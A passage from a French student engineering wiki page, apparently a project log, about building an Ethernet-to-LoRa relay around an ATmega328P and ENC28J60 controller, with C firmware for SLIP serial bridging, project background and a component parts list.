|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39202</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39202"/>
				<updated>2017-02-15T15:44:05Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Ethernet Module ENC28J60 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Ethernet Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. Les comportements d'enc28j60.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:enc28j60.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
